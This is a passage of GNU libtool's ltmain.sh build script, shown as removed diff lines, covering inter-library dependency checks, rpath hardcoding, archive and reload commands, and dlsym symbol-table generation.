- $echo
- $echo "*** Warning: dynamic linker does not accept needed library $i."
- $echo "*** I have the capability to make that library automatically link in when"
- $echo "*** you link to this library. But I can only do this if you have a"
- $echo "*** shared version of the library, which you do not appear to have"
- $echo "*** because a test_compile did reveal that the linker did not use this one"
- $echo "*** as a dynamic dependency that programs can get resolved with at runtime."
- fi
- fi
- else
- droppeddeps=yes
- $echo
- $echo "*** Warning! Library $i is needed by this library but I was not able to"
- $echo "*** make it link in! You will probably need to install it or some"
- $echo "*** library that it depends on before this library will be fully"
- $echo "*** functional. Installing it before continuing would be even better."
- fi
- else
- newdeplibs="$newdeplibs $i"
- fi
- done
- fi
- ;;
- file_magic*)
- set dummy $deplibs_check_method
- file_magic_regex=`expr "$deplibs_check_method" : "$2 \(.*\)"`
- for a_deplib in $deplibs; do
- name=`expr $a_deplib : '-l\(.*\)'`
- # If $name is empty we are operating on a -L argument.
- if test "$name" != "" && test "$name" != "0"; then
- if test "X$allow_libtool_libs_with_static_runtimes" = "Xyes" ; then
- case " $predeps $postdeps " in
- *" $a_deplib "*)
- newdeplibs="$newdeplibs $a_deplib"
- a_deplib=""
- ;;
- esac
- fi
- if test -n "$a_deplib" ; then
- libname=`eval \\$echo \"$libname_spec\"`
- for i in $lib_search_path $sys_lib_search_path $shlib_search_path; do
- potential_libs=`ls $i/$libname[.-]* 2>/dev/null`
- for potent_lib in $potential_libs; do
- # Follow soft links.
- if ls -lLd "$potent_lib" 2>/dev/null \
- | grep " -> " >/dev/null; then
- continue
- fi
- # The statement above tries to avoid entering an
- # endless loop below, in case of cyclic links.
- # We might still enter an endless loop, since a link
- # loop can be closed while we follow links,
- # but so what?
- potlib="$potent_lib"
- while test -h "$potlib" 2>/dev/null; do
- potliblink=`ls -ld $potlib | ${SED} 's/.* -> //'`
- case $potliblink in
- [\\/]* | [A-Za-z]:[\\/]*) potlib="$potliblink";;
- *) potlib=`$echo "X$potlib" | $Xsed -e 's,[^/]*$,,'`"$potliblink";;
- esac
- done
- if eval $file_magic_cmd \"\$potlib\" 2>/dev/null \
- | ${SED} 10q \
- | $EGREP "$file_magic_regex" > /dev/null; then
- newdeplibs="$newdeplibs $a_deplib"
- a_deplib=""
- break 2
- fi
- done
- done
- fi
- if test -n "$a_deplib" ; then
- droppeddeps=yes
- $echo
- $echo "*** Warning: linker path does not have real file for library $a_deplib."
- $echo "*** I have the capability to make that library automatically link in when"
- $echo "*** you link to this library. But I can only do this if you have a"
- $echo "*** shared version of the library, which you do not appear to have"
- $echo "*** because I did check the linker path looking for a file starting"
- if test -z "$potlib" ; then
- $echo "*** with $libname but no candidates were found. (...for file magic test)"
- else
- $echo "*** with $libname and none of the candidates passed a file format test"
- $echo "*** using a file magic. Last file checked: $potlib"
- fi
- fi
- else
- # Add a -L argument.
- newdeplibs="$newdeplibs $a_deplib"
- fi
- done # Gone through all deplibs.
- ;;
- match_pattern*)
- set dummy $deplibs_check_method
- match_pattern_regex=`expr "$deplibs_check_method" : "$2 \(.*\)"`
- for a_deplib in $deplibs; do
- name=`expr $a_deplib : '-l\(.*\)'`
- # If $name is empty we are operating on a -L argument.
- if test -n "$name" && test "$name" != "0"; then
- if test "X$allow_libtool_libs_with_static_runtimes" = "Xyes" ; then
- case " $predeps $postdeps " in
- *" $a_deplib "*)
- newdeplibs="$newdeplibs $a_deplib"
- a_deplib=""
- ;;
- esac
- fi
- if test -n "$a_deplib" ; then
- libname=`eval \\$echo \"$libname_spec\"`
- for i in $lib_search_path $sys_lib_search_path $shlib_search_path; do
- potential_libs=`ls $i/$libname[.-]* 2>/dev/null`
- for potent_lib in $potential_libs; do
- potlib="$potent_lib" # see symlink-check above in file_magic test
- if eval $echo \"$potent_lib\" 2>/dev/null \
- | ${SED} 10q \
- | $EGREP "$match_pattern_regex" > /dev/null; then
- newdeplibs="$newdeplibs $a_deplib"
- a_deplib=""
- break 2
- fi
- done
- done
- fi
- if test -n "$a_deplib" ; then
- droppeddeps=yes
- $echo
- $echo "*** Warning: linker path does not have real file for library $a_deplib."
- $echo "*** I have the capability to make that library automatically link in when"
- $echo "*** you link to this library. But I can only do this if you have a"
- $echo "*** shared version of the library, which you do not appear to have"
- $echo "*** because I did check the linker path looking for a file starting"
- if test -z "$potlib" ; then
- $echo "*** with $libname but no candidates were found. (...for regex pattern test)"
- else
- $echo "*** with $libname and none of the candidates passed a file format test"
- $echo "*** using a regex pattern. Last file checked: $potlib"
- fi
- fi
- else
- # Add a -L argument.
- newdeplibs="$newdeplibs $a_deplib"
- fi
- done # Gone through all deplibs.
- ;;
- none | unknown | *)
- newdeplibs=""
- tmp_deplibs=`$echo "X $deplibs" | $Xsed -e 's/ -lc$//' \
- -e 's/ -[LR][^ ]*//g'`
- if test "X$allow_libtool_libs_with_static_runtimes" = "Xyes" ; then
- for i in $predeps $postdeps ; do
- # can't use Xsed below, because $i might contain '/'
- tmp_deplibs=`$echo "X $tmp_deplibs" | ${SED} -e "1s,^X,," -e "s,$i,,"`
- done
- fi
- if $echo "X $tmp_deplibs" | $Xsed -e 's/[ ]//g' \
- | grep . >/dev/null; then
- $echo
- if test "X$deplibs_check_method" = "Xnone"; then
- $echo "*** Warning: inter-library dependencies are not supported in this platform."
- else
- $echo "*** Warning: inter-library dependencies are not known to be supported."
- fi
- $echo "*** All declared inter-library dependencies are being dropped."
- droppeddeps=yes
- fi
- ;;
- esac
- versuffix=$versuffix_save
- major=$major_save
- release=$release_save
- libname=$libname_save
- name=$name_save
-
- case $host in
- *-*-rhapsody* | *-*-darwin1.[012])
- # On Rhapsody replace the C library is the System framework
- newdeplibs=`$echo "X $newdeplibs" | $Xsed -e 's/ -lc / -framework System /'`
- ;;
- esac
-
- if test "$droppeddeps" = yes; then
- if test "$module" = yes; then
- $echo
- $echo "*** Warning: libtool could not satisfy all declared inter-library"
- $echo "*** dependencies of module $libname. Therefore, libtool will create"
- $echo "*** a static module, that should work as long as the dlopening"
- $echo "*** application is linked with the -dlopen flag."
- if test -z "$global_symbol_pipe"; then
- $echo
- $echo "*** However, this would only work if libtool was able to extract symbol"
- $echo "*** lists from a program, using \`nm' or equivalent, but libtool could"
- $echo "*** not find such a program. So, this module is probably useless."
- $echo "*** \`nm' from GNU binutils and a full rebuild may help."
- fi
- if test "$build_old_libs" = no; then
- oldlibs="$output_objdir/$libname.$libext"
- build_libtool_libs=module
- build_old_libs=yes
- else
- build_libtool_libs=no
- fi
- else
- $echo "*** The inter-library dependencies that have been dropped here will be"
- $echo "*** automatically added whenever a program is linked with this library"
- $echo "*** or is declared to -dlopen it."
-
- if test "$allow_undefined" = no; then
- $echo
- $echo "*** Since this library must not contain undefined symbols,"
- $echo "*** because either the platform does not support them or"
- $echo "*** it was explicitly requested with -no-undefined,"
- $echo "*** libtool will only create a static version of it."
- if test "$build_old_libs" = no; then
- oldlibs="$output_objdir/$libname.$libext"
- build_libtool_libs=module
- build_old_libs=yes
- else
- build_libtool_libs=no
- fi
- fi
- fi
- fi
- # Done checking deplibs!
- deplibs=$newdeplibs
- fi
-
-
- # move library search paths that coincide with paths to not yet
- # installed libraries to the beginning of the library search list
- new_libs=
- for path in $notinst_path; do
- case " $new_libs " in
- *" -L$path/$objdir "*) ;;
- *)
- case " $deplibs " in
- *" -L$path/$objdir "*)
- new_libs="$new_libs -L$path/$objdir" ;;
- esac
- ;;
- esac
- done
- for deplib in $deplibs; do
- case $deplib in
- -L*)
- case " $new_libs " in
- *" $deplib "*) ;;
- *) new_libs="$new_libs $deplib" ;;
- esac
- ;;
- *) new_libs="$new_libs $deplib" ;;
- esac
- done
- deplibs="$new_libs"
-
-
- # All the library-specific variables (install_libdir is set above).
- library_names=
- old_library=
- dlname=
-
- # Test again, we may have decided not to build it any more
- if test "$build_libtool_libs" = yes; then
- if test "$hardcode_into_libs" = yes; then
- # Hardcode the library paths
- hardcode_libdirs=
- dep_rpath=
- rpath="$finalize_rpath"
- test "$mode" != relink && rpath="$compile_rpath$rpath"
- for libdir in $rpath; do
- if test -n "$hardcode_libdir_flag_spec"; then
- if test -n "$hardcode_libdir_separator"; then
- if test -z "$hardcode_libdirs"; then
- hardcode_libdirs="$libdir"
- else
- # Just accumulate the unique libdirs.
- case $hardcode_libdir_separator$hardcode_libdirs$hardcode_libdir_separator in
- *"$hardcode_libdir_separator$libdir$hardcode_libdir_separator"*)
- ;;
- *)
- hardcode_libdirs="$hardcode_libdirs$hardcode_libdir_separator$libdir"
- ;;
- esac
- fi
- else
- eval flag=\"$hardcode_libdir_flag_spec\"
- dep_rpath="$dep_rpath $flag"
- fi
- elif test -n "$runpath_var"; then
- case "$perm_rpath " in
- *" $libdir "*) ;;
- *) perm_rpath="$perm_rpath $libdir" ;;
- esac
- fi
- done
- # Substitute the hardcoded libdirs into the rpath.
- if test -n "$hardcode_libdir_separator" &&
- test -n "$hardcode_libdirs"; then
- libdir="$hardcode_libdirs"
- if test -n "$hardcode_libdir_flag_spec_ld"; then
- eval dep_rpath=\"$hardcode_libdir_flag_spec_ld\"
- else
- eval dep_rpath=\"$hardcode_libdir_flag_spec\"
- fi
- fi
- if test -n "$runpath_var" && test -n "$perm_rpath"; then
- # We should set the runpath_var.
- rpath=
- for dir in $perm_rpath; do
- rpath="$rpath$dir:"
- done
- eval "$runpath_var='$rpath\$$runpath_var'; export $runpath_var"
- fi
- test -n "$dep_rpath" && deplibs="$dep_rpath $deplibs"
- fi
-
- shlibpath="$finalize_shlibpath"
- test "$mode" != relink && shlibpath="$compile_shlibpath$shlibpath"
- if test -n "$shlibpath"; then
- eval "$shlibpath_var='$shlibpath\$$shlibpath_var'; export $shlibpath_var"
- fi
-
- # Get the real and link names of the library.
- eval shared_ext=\"$shrext_cmds\"
- eval library_names=\"$library_names_spec\"
- set dummy $library_names
- realname="$2"
- shift; shift
-
- if test -n "$soname_spec"; then
- eval soname=\"$soname_spec\"
- else
- soname="$realname"
- fi
- if test -z "$dlname"; then
- dlname=$soname
- fi
-
- lib="$output_objdir/$realname"
- linknames=
- for link
- do
- linknames="$linknames $link"
- done
-
- # Use standard objects if they are pic
- test -z "$pic_flag" && libobjs=`$echo "X$libobjs" | $SP2NL | $Xsed -e "$lo2o" | $NL2SP`
-
- # Prepare the list of exported symbols
- if test -z "$export_symbols"; then
- if test "$always_export_symbols" = yes || test -n "$export_symbols_regex"; then
- $show "generating symbol list for \`$libname.la'"
- export_symbols="$output_objdir/$libname.exp"
- $run $rm $export_symbols
- cmds=$export_symbols_cmds
- save_ifs="$IFS"; IFS='~'
- for cmd in $cmds; do
- IFS="$save_ifs"
- eval cmd=\"$cmd\"
- if len=`expr "X$cmd" : ".*"` &&
- test "$len" -le "$max_cmd_len" || test "$max_cmd_len" -le -1; then
- $show "$cmd"
- $run eval "$cmd" || exit $?
- skipped_export=false
- else
- # The command line is too long to execute in one step.
- $show "using reloadable object file for export list..."
- skipped_export=:
- # Break out early, otherwise skipped_export may be
- # set to false by a later but shorter cmd.
- break
- fi
- done
- IFS="$save_ifs"
- if test -n "$export_symbols_regex"; then
- $show "$EGREP -e \"$export_symbols_regex\" \"$export_symbols\" > \"${export_symbols}T\""
- $run eval '$EGREP -e "$export_symbols_regex" "$export_symbols" > "${export_symbols}T"'
- $show "$mv \"${export_symbols}T\" \"$export_symbols\""
- $run eval '$mv "${export_symbols}T" "$export_symbols"'
- fi
- fi
- fi
-
- if test -n "$export_symbols" && test -n "$include_expsyms"; then
- $run eval '$echo "X$include_expsyms" | $SP2NL >> "$export_symbols"'
- fi
-
- tmp_deplibs=
- for test_deplib in $deplibs; do
- case " $convenience " in
- *" $test_deplib "*) ;;
- *)
- tmp_deplibs="$tmp_deplibs $test_deplib"
- ;;
- esac
- done
- deplibs="$tmp_deplibs"
-
- if test -n "$convenience"; then
- if test -n "$whole_archive_flag_spec"; then
- save_libobjs=$libobjs
- eval libobjs=\"\$libobjs $whole_archive_flag_spec\"
- else
- gentop="$output_objdir/${outputname}x"
- generated="$generated $gentop"
-
- func_extract_archives $gentop $convenience
- libobjs="$libobjs $func_extract_archives_result"
- fi
- fi
-
- if test "$thread_safe" = yes && test -n "$thread_safe_flag_spec"; then
- eval flag=\"$thread_safe_flag_spec\"
- linker_flags="$linker_flags $flag"
- fi
-
- # Make a backup of the uninstalled library when relinking
- if test "$mode" = relink; then
- $run eval '(cd $output_objdir && $rm ${realname}U && $mv $realname ${realname}U)' || exit $?
- fi
-
- # Do each of the archive commands.
- if test "$module" = yes && test -n "$module_cmds" ; then
- if test -n "$export_symbols" && test -n "$module_expsym_cmds"; then
- eval test_cmds=\"$module_expsym_cmds\"
- cmds=$module_expsym_cmds
- else
- eval test_cmds=\"$module_cmds\"
- cmds=$module_cmds
- fi
- else
- if test -n "$export_symbols" && test -n "$archive_expsym_cmds"; then
- eval test_cmds=\"$archive_expsym_cmds\"
- cmds=$archive_expsym_cmds
- else
- eval test_cmds=\"$archive_cmds\"
- cmds=$archive_cmds
- fi
- fi
-
- if test "X$skipped_export" != "X:" &&
- len=`expr "X$test_cmds" : ".*" 2>/dev/null` &&
- test "$len" -le "$max_cmd_len" || test "$max_cmd_len" -le -1; then
- :
- else
- # The command line is too long to link in one step, link piecewise.
- $echo "creating reloadable object files..."
-
- # Save the value of $output and $libobjs because we want to
- # use them later. If we have whole_archive_flag_spec, we
- # want to use save_libobjs as it was before
- # whole_archive_flag_spec was expanded, because we can't
- # assume the linker understands whole_archive_flag_spec.
- # This may have to be revisited, in case too many
- # convenience libraries get linked in and end up exceeding
- # the spec.
- if test -z "$convenience" || test -z "$whole_archive_flag_spec"; then
- save_libobjs=$libobjs
- fi
- save_output=$output
- output_la=`$echo "X$output" | $Xsed -e "$basename"`
-
- # Clear the reloadable object creation command queue and
- # initialize k to one.
- test_cmds=
- concat_cmds=
- objlist=
- delfiles=
- last_robj=
- k=1
- output=$output_objdir/$output_la-${k}.$objext
- # Loop over the list of objects to be linked.
- for obj in $save_libobjs
- do
- eval test_cmds=\"$reload_cmds $objlist $last_robj\"
- if test "X$objlist" = X ||
- { len=`expr "X$test_cmds" : ".*" 2>/dev/null` &&
- test "$len" -le "$max_cmd_len"; }; then
- objlist="$objlist $obj"
- else
- # The command $test_cmds is almost too long, add a
- # command to the queue.
- if test "$k" -eq 1 ; then
- # The first file doesn't have a previous command to add.
- eval concat_cmds=\"$reload_cmds $objlist $last_robj\"
- else
- # All subsequent reloadable object files will link in
- # the last one created.
- eval concat_cmds=\"\$concat_cmds~$reload_cmds $objlist $last_robj\"
- fi
- last_robj=$output_objdir/$output_la-${k}.$objext
- k=`expr $k + 1`
- output=$output_objdir/$output_la-${k}.$objext
- objlist=$obj
- len=1
- fi
- done
- # Handle the remaining objects by creating one last
- # reloadable object file. All subsequent reloadable object
- # files will link in the last one created.
- test -z "$concat_cmds" || concat_cmds=$concat_cmds~
- eval concat_cmds=\"\${concat_cmds}$reload_cmds $objlist $last_robj\"
-
- if ${skipped_export-false}; then
- $show "generating symbol list for \`$libname.la'"
- export_symbols="$output_objdir/$libname.exp"
- $run $rm $export_symbols
- libobjs=$output
- # Append the command to create the export file.
- eval concat_cmds=\"\$concat_cmds~$export_symbols_cmds\"
- fi
-
- # Set up a command to remove the reloadable object files
- # after they are used.
- i=0
- while test "$i" -lt "$k"
- do
- i=`expr $i + 1`
- delfiles="$delfiles $output_objdir/$output_la-${i}.$objext"
- done
-
- $echo "creating a temporary reloadable object file: $output"
-
- # Loop through the commands generated above and execute them.
- save_ifs="$IFS"; IFS='~'
- for cmd in $concat_cmds; do
- IFS="$save_ifs"
- $show "$cmd"
- $run eval "$cmd" || exit $?
- done
- IFS="$save_ifs"
-
- libobjs=$output
- # Restore the value of output.
- output=$save_output
-
- if test -n "$convenience" && test -n "$whole_archive_flag_spec"; then
- eval libobjs=\"\$libobjs $whole_archive_flag_spec\"
- fi
- # Expand the library linking commands again to reset the
- # value of $libobjs for piecewise linking.
-
- # Do each of the archive commands.
- if test "$module" = yes && test -n "$module_cmds" ; then
- if test -n "$export_symbols" && test -n "$module_expsym_cmds"; then
- cmds=$module_expsym_cmds
- else
- cmds=$module_cmds
- fi
- else
- if test -n "$export_symbols" && test -n "$archive_expsym_cmds"; then
- cmds=$archive_expsym_cmds
- else
- cmds=$archive_cmds
- fi
- fi
-
- # Append the command to remove the reloadable object files
- # to the just-reset $cmds.
- eval cmds=\"\$cmds~\$rm $delfiles\"
- fi
- save_ifs="$IFS"; IFS='~'
- for cmd in $cmds; do
- IFS="$save_ifs"
- eval cmd=\"$cmd\"
- $show "$cmd"
- $run eval "$cmd" || {
- lt_exit=$?
-
- # Restore the uninstalled library and exit
- if test "$mode" = relink; then
- $run eval '(cd $output_objdir && $rm ${realname}T && $mv ${realname}U $realname)'
- fi
-
- exit $lt_exit
- }
- done
- IFS="$save_ifs"
-
- # Restore the uninstalled library and exit
- if test "$mode" = relink; then
- $run eval '(cd $output_objdir && $rm ${realname}T && $mv $realname ${realname}T && $mv "$realname"U $realname)' || exit $?
-
- if test -n "$convenience"; then
- if test -z "$whole_archive_flag_spec"; then
- $show "${rm}r $gentop"
- $run ${rm}r "$gentop"
- fi
- fi
-
- exit $EXIT_SUCCESS
- fi
-
- # Create links to the real library.
- for linkname in $linknames; do
- if test "$realname" != "$linkname"; then
- $show "(cd $output_objdir && $rm $linkname && $LN_S $realname $linkname)"
- $run eval '(cd $output_objdir && $rm $linkname && $LN_S $realname $linkname)' || exit $?
- fi
- done
-
- # If -module or -export-dynamic was specified, set the dlname.
- if test "$module" = yes || test "$export_dynamic" = yes; then
- # On all known operating systems, these are identical.
- dlname="$soname"
- fi
- fi
- ;;
-
- obj)
- if test -n "$deplibs"; then
- $echo "$modename: warning: \`-l' and \`-L' are ignored for objects" 1>&2
- fi
-
- if test -n "$dlfiles$dlprefiles" || test "$dlself" != no; then
- $echo "$modename: warning: \`-dlopen' is ignored for objects" 1>&2
- fi
-
- if test -n "$rpath"; then
- $echo "$modename: warning: \`-rpath' is ignored for objects" 1>&2
- fi
-
- if test -n "$xrpath"; then
- $echo "$modename: warning: \`-R' is ignored for objects" 1>&2
- fi
-
- if test -n "$vinfo"; then
- $echo "$modename: warning: \`-version-info' is ignored for objects" 1>&2
- fi
-
- if test -n "$release"; then
- $echo "$modename: warning: \`-release' is ignored for objects" 1>&2
- fi
-
- case $output in
- *.lo)
- if test -n "$objs$old_deplibs"; then
- $echo "$modename: cannot build library object \`$output' from non-libtool objects" 1>&2
- exit $EXIT_FAILURE
- fi
- libobj="$output"
- obj=`$echo "X$output" | $Xsed -e "$lo2o"`
- ;;
- *)
- libobj=
- obj="$output"
- ;;
- esac
-
- # Delete the old objects.
- $run $rm $obj $libobj
-
- # Objects from convenience libraries. This assumes
- # single-version convenience libraries. Whenever we create
- # different ones for PIC/non-PIC, this we'll have to duplicate
- # the extraction.
- reload_conv_objs=
- gentop=
- # reload_cmds runs $LD directly, so let us get rid of
- # -Wl from whole_archive_flag_spec
- wl=
-
- if test -n "$convenience"; then
- if test -n "$whole_archive_flag_spec"; then
- eval reload_conv_objs=\"\$reload_objs $whole_archive_flag_spec\"
- else
- gentop="$output_objdir/${obj}x"
- generated="$generated $gentop"
-
- func_extract_archives $gentop $convenience
- reload_conv_objs="$reload_objs $func_extract_archives_result"
- fi
- fi
-
- # Create the old-style object.
- reload_objs="$objs$old_deplibs "`$echo "X$libobjs" | $SP2NL | $Xsed -e '/\.'${libext}$'/d' -e '/\.lib$/d' -e "$lo2o" | $NL2SP`" $reload_conv_objs" ### testsuite: skip nested quoting test
-
- output="$obj"
- cmds=$reload_cmds
- save_ifs="$IFS"; IFS='~'
- for cmd in $cmds; do
- IFS="$save_ifs"
- eval cmd=\"$cmd\"
- $show "$cmd"
- $run eval "$cmd" || exit $?
- done
- IFS="$save_ifs"
-
- # Exit if we aren't doing a library object file.
- if test -z "$libobj"; then
- if test -n "$gentop"; then
- $show "${rm}r $gentop"
- $run ${rm}r $gentop
- fi
-
- exit $EXIT_SUCCESS
- fi
-
- if test "$build_libtool_libs" != yes; then
- if test -n "$gentop"; then
- $show "${rm}r $gentop"
- $run ${rm}r $gentop
- fi
-
- # Create an invalid libtool object if no PIC, so that we don't
- # accidentally link it into a program.
- # $show "echo timestamp > $libobj"
- # $run eval "echo timestamp > $libobj" || exit $?
- exit $EXIT_SUCCESS
- fi
-
- if test -n "$pic_flag" || test "$pic_mode" != default; then
- # Only do commands if we really have different PIC objects.
- reload_objs="$libobjs $reload_conv_objs"
- output="$libobj"
- cmds=$reload_cmds
- save_ifs="$IFS"; IFS='~'
- for cmd in $cmds; do
- IFS="$save_ifs"
- eval cmd=\"$cmd\"
- $show "$cmd"
- $run eval "$cmd" || exit $?
- done
- IFS="$save_ifs"
- fi
-
- if test -n "$gentop"; then
- $show "${rm}r $gentop"
- $run ${rm}r $gentop
- fi
-
- exit $EXIT_SUCCESS
- ;;
-
- prog)
- case $host in
- *cygwin*) output=`$echo $output | ${SED} -e 's,.exe$,,;s,$,.exe,'` ;;
- esac
- if test -n "$vinfo"; then
- $echo "$modename: warning: \`-version-info' is ignored for programs" 1>&2
- fi
-
- if test -n "$release"; then
- $echo "$modename: warning: \`-release' is ignored for programs" 1>&2
- fi
-
- if test "$preload" = yes; then
- if test "$dlopen_support" = unknown && test "$dlopen_self" = unknown &&
- test "$dlopen_self_static" = unknown; then
- $echo "$modename: warning: \`AC_LIBTOOL_DLOPEN' not used. Assuming no dlopen support."
- fi
- fi
-
- case $host in
- *-*-rhapsody* | *-*-darwin1.[012])
- # On Rhapsody replace the C library is the System framework
- compile_deplibs=`$echo "X $compile_deplibs" | $Xsed -e 's/ -lc / -framework System /'`
- finalize_deplibs=`$echo "X $finalize_deplibs" | $Xsed -e 's/ -lc / -framework System /'`
- ;;
- esac
-
- case $host in
- *darwin*)
- # Don't allow lazy linking, it breaks C++ global constructors
- if test "$tagname" = CXX ; then
- compile_command="$compile_command ${wl}-bind_at_load"
- finalize_command="$finalize_command ${wl}-bind_at_load"
- fi
- ;;
- esac
-
-
- # move library search paths that coincide with paths to not yet
- # installed libraries to the beginning of the library search list
- new_libs=
- for path in $notinst_path; do
- case " $new_libs " in
- *" -L$path/$objdir "*) ;;
- *)
- case " $compile_deplibs " in
- *" -L$path/$objdir "*)
- new_libs="$new_libs -L$path/$objdir" ;;
- esac
- ;;
- esac
- done
- for deplib in $compile_deplibs; do
- case $deplib in
- -L*)
- case " $new_libs " in
- *" $deplib "*) ;;
- *) new_libs="$new_libs $deplib" ;;
- esac
- ;;
- *) new_libs="$new_libs $deplib" ;;
- esac
- done
- compile_deplibs="$new_libs"
-
-
- compile_command="$compile_command $compile_deplibs"
- finalize_command="$finalize_command $finalize_deplibs"
-
- if test -n "$rpath$xrpath"; then
- # If the user specified any rpath flags, then add them.
- for libdir in $rpath $xrpath; do
- # This is the magic to use -rpath.
- case "$finalize_rpath " in
- *" $libdir "*) ;;
- *) finalize_rpath="$finalize_rpath $libdir" ;;
- esac
- done
- fi
-
- # Now hardcode the library paths
- rpath=
- hardcode_libdirs=
- for libdir in $compile_rpath $finalize_rpath; do
- if test -n "$hardcode_libdir_flag_spec"; then
- if test -n "$hardcode_libdir_separator"; then
- if test -z "$hardcode_libdirs"; then
- hardcode_libdirs="$libdir"
- else
- # Just accumulate the unique libdirs.
- case $hardcode_libdir_separator$hardcode_libdirs$hardcode_libdir_separator in
- *"$hardcode_libdir_separator$libdir$hardcode_libdir_separator"*)
- ;;
- *)
- hardcode_libdirs="$hardcode_libdirs$hardcode_libdir_separator$libdir"
- ;;
- esac
- fi
- else
- eval flag=\"$hardcode_libdir_flag_spec\"
- rpath="$rpath $flag"
- fi
- elif test -n "$runpath_var"; then
- case "$perm_rpath " in
- *" $libdir "*) ;;
- *) perm_rpath="$perm_rpath $libdir" ;;
- esac
- fi
- case $host in
- *-*-cygwin* | *-*-mingw* | *-*-pw32* | *-*-os2*)
- testbindir=`$echo "X$libdir" | $Xsed -e 's*/lib$*/bin*'`
- case :$dllsearchpath: in
- *":$libdir:"*) ;;
- *) dllsearchpath="$dllsearchpath:$libdir";;
- esac
- case :$dllsearchpath: in
- *":$testbindir:"*) ;;
- *) dllsearchpath="$dllsearchpath:$testbindir";;
- esac
- ;;
- esac
- done
- # Substitute the hardcoded libdirs into the rpath.
- if test -n "$hardcode_libdir_separator" &&
- test -n "$hardcode_libdirs"; then
- libdir="$hardcode_libdirs"
- eval rpath=\" $hardcode_libdir_flag_spec\"
- fi
- compile_rpath="$rpath"
-
- rpath=
- hardcode_libdirs=
- for libdir in $finalize_rpath; do
- if test -n "$hardcode_libdir_flag_spec"; then
- if test -n "$hardcode_libdir_separator"; then
- if test -z "$hardcode_libdirs"; then
- hardcode_libdirs="$libdir"
- else
- # Just accumulate the unique libdirs.
- case $hardcode_libdir_separator$hardcode_libdirs$hardcode_libdir_separator in
- *"$hardcode_libdir_separator$libdir$hardcode_libdir_separator"*)
- ;;
- *)
- hardcode_libdirs="$hardcode_libdirs$hardcode_libdir_separator$libdir"
- ;;
- esac
- fi
- else
- eval flag=\"$hardcode_libdir_flag_spec\"
- rpath="$rpath $flag"
- fi
- elif test -n "$runpath_var"; then
- case "$finalize_perm_rpath " in
- *" $libdir "*) ;;
- *) finalize_perm_rpath="$finalize_perm_rpath $libdir" ;;
- esac
- fi
- done
- # Substitute the hardcoded libdirs into the rpath.
- if test -n "$hardcode_libdir_separator" &&
- test -n "$hardcode_libdirs"; then
- libdir="$hardcode_libdirs"
- eval rpath=\" $hardcode_libdir_flag_spec\"
- fi
- finalize_rpath="$rpath"
-
- if test -n "$libobjs" && test "$build_old_libs" = yes; then
- # Transform all the library objects into standard objects.
- compile_command=`$echo "X$compile_command" | $SP2NL | $Xsed -e "$lo2o" | $NL2SP`
- finalize_command=`$echo "X$finalize_command" | $SP2NL | $Xsed -e "$lo2o" | $NL2SP`
- fi
-
- dlsyms=
- if test -n "$dlfiles$dlprefiles" || test "$dlself" != no; then
- if test -n "$NM" && test -n "$global_symbol_pipe"; then
- dlsyms="${outputname}S.c"
- else
- $echo "$modename: not configured to extract global symbols from dlpreopened files" 1>&2
- fi
- fi
-
- if test -n "$dlsyms"; then
- case $dlsyms in
- "") ;;
- *.c)
- # Discover the nlist of each of the dlfiles.
- nlist="$output_objdir/${outputname}.nm"
-
- $show "$rm $nlist ${nlist}S ${nlist}T"
- $run $rm "$nlist" "${nlist}S" "${nlist}T"
-
- # Parse the name list into a source file.
- $show "creating $output_objdir/$dlsyms"
-
- test -z "$run" && $echo > "$output_objdir/$dlsyms" "\
-/* $dlsyms - symbol resolution table for \`$outputname' dlsym emulation. */
-/* Generated by $PROGRAM - GNU $PACKAGE $VERSION$TIMESTAMP */
-
-#ifdef __cplusplus
-extern \"C\" {
-#endif
-
-/* Prevent the only kind of declaration conflicts we can make. */
-#define lt_preloaded_symbols some_other_symbol
-
-/* External symbol declarations for the compiler. */\
-"
-
- if test "$dlself" = yes; then
- $show "generating symbol list for \`$output'"
-
- test -z "$run" && $echo ': @PROGRAM@ ' > "$nlist"
-
- # Add our own program objects to the symbol list.
- progfiles=`$echo "X$objs$old_deplibs" | $SP2NL | $Xsed -e "$lo2o" | $NL2SP`
- for arg in $progfiles; do
- $show "extracting global C symbols from \`$arg'"
- $run eval "$NM $arg | $global_symbol_pipe >> '$nlist'"
- done
-
- if test -n "$exclude_expsyms"; then
- $run eval '$EGREP -v " ($exclude_expsyms)$" "$nlist" > "$nlist"T'
- $run eval '$mv "$nlist"T "$nlist"'
- fi
-
- if test -n "$export_symbols_regex"; then
- $run eval '$EGREP -e "$export_symbols_regex" "$nlist" > "$nlist"T'
- $run eval '$mv "$nlist"T "$nlist"'
- fi
-
- # Prepare the list of exported symbols
- if test -z "$export_symbols"; then
- export_symbols="$output_objdir/$outputname.exp"
- $run $rm $export_symbols
- $run eval "${SED} -n -e '/^: @PROGRAM@ $/d' -e 's/^.* \(.*\)$/\1/p' "'< "$nlist" > "$export_symbols"'
- case $host in
- *cygwin* | *mingw* )
- $run eval "echo EXPORTS "'> "$output_objdir/$outputname.def"'
- $run eval 'cat "$export_symbols" >> "$output_objdir/$outputname.def"'
- ;;
- esac
- else
- $run eval "${SED} -e 's/\([].[*^$]\)/\\\\\1/g' -e 's/^/ /' -e 's/$/$/'"' < "$export_symbols" > "$output_objdir/$outputname.exp"'
- $run eval 'grep -f "$output_objdir/$outputname.exp" < "$nlist" > "$nlist"T'
- $run eval 'mv "$nlist"T "$nlist"'
- case $host in
- *cygwin* | *mingw* )
- $run eval "echo EXPORTS "'> "$output_objdir/$outputname.def"'
- $run eval 'cat "$nlist" >> "$output_objdir/$outputname.def"'
- ;;
- esac
- fi
- fi
-
- for arg in $dlprefiles; do
- $show "extracting global C symbols from \`$arg'"
- name=`$echo "$arg" | ${SED} -e 's%^.*/%%'`
- $run eval '$echo ": $name " >> "$nlist"'
- $run eval "$NM $arg | $global_symbol_pipe >> '$nlist'"
- done
-
- if test -z "$run"; then
- # Make sure we have at least an empty file.
- test -f "$nlist" || : > "$nlist"
-
- if test -n "$exclude_expsyms"; then
- $EGREP -v " ($exclude_expsyms)$" "$nlist" > "$nlist"T
- $mv "$nlist"T "$nlist"
- fi
-
- # Try sorting and uniquifying the output.
- if grep -v "^: " < "$nlist" |
- if sort -k 3 </dev/null >/dev/null 2>&1; then
- sort -k 3
- else
- sort +2
- fi |
- uniq > "$nlist"S; then
- :
- else
- grep -v "^: " < "$nlist" > "$nlist"S
- fi
-
- if test -f "$nlist"S; then
- eval "$global_symbol_to_cdecl"' < "$nlist"S >> "$output_objdir/$dlsyms"'
- else
- $echo '/* NONE */' >> "$output_objdir/$dlsyms"
- fi
-
- $echo >> "$output_objdir/$dlsyms" "\
-
-#undef lt_preloaded_symbols
